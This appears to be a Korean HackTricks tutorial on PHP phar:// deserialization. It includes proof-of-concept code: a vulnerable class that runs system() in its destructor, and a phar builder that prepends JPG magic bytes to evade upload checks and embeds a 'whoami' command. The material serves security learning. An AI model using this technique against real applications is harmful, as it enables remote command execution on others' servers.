phar:// deserialization

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Phar 파일(PHP Archive) νŒŒμΌμ€ μ§λ ¬ν™”λœ ν˜•μ‹μœΌλ‘œ 메타 데이터λ₯Ό ν¬ν•¨ν•˜κ³  μžˆμœΌλ―€λ‘œ, νŒŒμ‹±ν•  λ•Œ 이 메타데이터가 μ—­μ§λ ¬ν™”λ˜μ–΄ PHP μ½”λ“œ λ‚΄μ—μ„œ 역직렬화 취약점을 μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

이 νŠΉμ„±μ˜ κ°€μž₯ 쒋은 점은 **file_get_contents(), fopen(), file() λ˜λŠ” file_exists(), md5_file(), filemtime() λ˜λŠ” filesize()**와 같이 PHP μ½”λ“œλ₯Ό ν‰κ°€ν•˜μ§€ μ•ŠλŠ” PHP ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜λ”λΌλ„ 이 역직렬화가 λ°œμƒν•œλ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€.

λ”°λΌμ„œ, PHP 웹이 phar:// ν”„λ‘œν† μ½œμ„ μ‚¬μš©ν•˜μ—¬ μž„μ˜μ˜ 파일의 크기λ₯Ό κ°€μ Έμ˜€λŠ” 상황을 상상해 λ³΄μ‹­μ‹œμ˜€. 그리고 μ½”λ“œ λ‚΄μ—μ„œ λ‹€μŒκ³Ό μœ μ‚¬ν•œ 클래슀λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

당신은 λ‘œλ“œλ  λ•Œ 이 클래슀λ₯Ό μ•…μš©ν•˜μ—¬ μž„μ˜μ˜ λͺ…령을 μ‹€ν–‰ν•˜λŠ” phar νŒŒμΌμ„ 생성할 수 μžˆμŠ΅λ‹ˆλ‹€.

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

JPG의 맀직 λ°”μ΄νŠΈ(\xff\xd8\xff)κ°€ phar 파일의 μ‹œμž‘ 뢀뢄에 μΆ”κ°€λ˜μ–΄ κ°€λŠ₯ν•œ 파일 μ—…λ‘œλ“œ μ œν•œμ„ μš°νšŒν•˜λŠ” 방법에 μ£Όλͺ©ν•˜μ„Έμš”.
test.phar νŒŒμΌμ„ λ‹€μŒκ³Ό 같이 μ»΄νŒŒμΌν•˜μ„Έμš”:

php --define phar.readonly=0 create_phar.php

그리고 μ·¨μ•½ν•œ μ½”λ“œλ₯Ό μ•…μš©ν•˜μ—¬ whoami λͺ…령을 μ‹€ν–‰ν•©λ‹ˆλ‹€:

php vuln.php

References

https://blog.ripstech.com/2018/new-php-exploitation-technique/

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°